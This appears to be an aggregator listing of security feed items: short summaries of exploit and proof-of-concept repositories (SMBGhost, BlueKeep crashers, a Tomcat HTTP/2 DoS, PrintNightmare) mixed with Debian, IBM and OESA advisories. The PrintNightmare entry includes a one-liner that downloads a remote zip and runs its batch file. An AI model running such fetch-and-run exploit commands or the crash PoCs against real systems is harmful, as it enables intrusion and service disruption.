CVE-2020-0796

CVE-2020-0796 An even more simple PoC and Scanner for CVE-2020-0796, as it uses static packets. There is a protection to prevent accidental usage on public IPs don't do that and an on/off switch to flick crashing. Only requires vanilla Python 3! Scan mode: root@kitploit: python3 poc-and-scan.py...

[SECURITY] [DSA 6509-1] gimp security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6509-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff September 20, 2026 https://www.debian.org/security/faq -...

discord-crasher

Generador de casos de prueba para analizadores de medios media-gen es una pequeña herramienta de línea de comandos en Rust, con pocas dependencias, para construir dos casos de prueba de analizadores de medios. Edita archivos de medios válidos existentes in situ; no invoca FFmpeg, no parchea un...

Tomcat-CVE-2025-31650

CVE-2025-31650 🚨 Prueba de Concepto PoC para la vulnerabilidad DoS HTTP/2 en Apache Tomcat CVE-2025-31650 Este script provoca una condición de agotamiento de memoria en Apache Tomcat enviando cabeceras priority malformadas a través de HTTP/2. 🎯 Versiones Afectadas Apache Tomcat 9.0.76 – 9.0.102...

CVE-2025-6998-CalibreWeb-0.6.24-ReDoS

CVE-2025-6998-CalibreWeb-0.6.24-ReDoS Exploit para el ReDoS de CalibreWeb v0.6.24...

Wincrash

Wincrash root@kitploit: 本人不对你使用此工具所达成的一切后果负责，该工具仅应用于教育目的。CVE-2019-0708 —— 当未认证的攻击者通过RDP连接到目标系统并发送特制请求时，存在远程桌面服务远程代码执行漏洞。此漏洞利用程序仅使设备崩溃，不执行代码 截图 alt text alt text 安装： root@kitploit: $ apt-get install python3 python3-pip $ cd Wincrash $ pip3 install -r requirements.txt 联系方式 Telegram: @ethhacker0x18...

log4j2-CVE-2021-45105

Sample Log4j2 vulnerable application CVE-2021-45105 Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: root@kitploit: Import the project in Java IDE as ...

Chrome-Skia-CVE-2024-8193

Corregido en Chrome M128: https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html Pasos para reproducir: 1. Aplica el parche chromium.diff a chromium. 2. Ejecuta genskpic.py para generar drawablepicture.skp.hh, luego mueve el archivo generado a...

CVE-2026-20516

CVE-2026-20516: MiracastService confused deputy en Android TV Investigación y divulgación por Davide Di Matteo @Dingo97. Este es mi primer CVE acreditado. Encontré un servicio Miracast con privilegios de sistema, exportado incorrectamente, mientras investigaba un PEAQ Android TV. Un llamador pued...

[SECURITY] [DLA 4789-1] libde265 security update

Debian LTS Advisory DLA-4789-1 [email protected] https://www.debian.org/lts/security/ Tobias Frost September 20, 2026 https://wiki.debian.org/LTS Package : libde265 Version : 1.0.11-1+deb12u3 CVE ID : CVE-2023-51792 CVE-2024-38949 CVE-2024-38950 CVE-2026-33164 CVE-2026-33165...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit Para ejecutar este exploit en Windows: Ejecuta este oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Esto solo funcionará una vez por reinicio...

Security Bulletin: IBM Event Endpoint Management is effected by Multiple Vulnerabilities

Summary IBM Event Endpoint Management is affected by Multiple Vulnerabilities and was addressed in IBM Event Endpoint Management 11.8.2 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept extern...

Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities

Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...

CVE-2017-0541

poc y análisis de vulnerabilidad de CVE-2017-0541...

CVE-2019-0708

cve-2019-0708 PoC de caída...

SIOCtl

SIOCtl Despachador simple de IOCTL Este es un "despachador" genérico de IOCTL. Lo hice para usarlo como POC para CVE 2018-8060 y 2018-8061, pero se puede usar con cualquier dispositivo, IOCTL y datos, no obstante. Los datos de entrada son un archivo binario que contiene datos sin procesar para...

nmap-scan-results

Escaneo Nmap: Más de 200 vulnerabilidades encontradas Crítico: CVE-2023-38408 9.8, CVE-2024-38476 9.8, Slowloris DoS Informe completo...

OESA-2026-3994 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3993 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3992 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...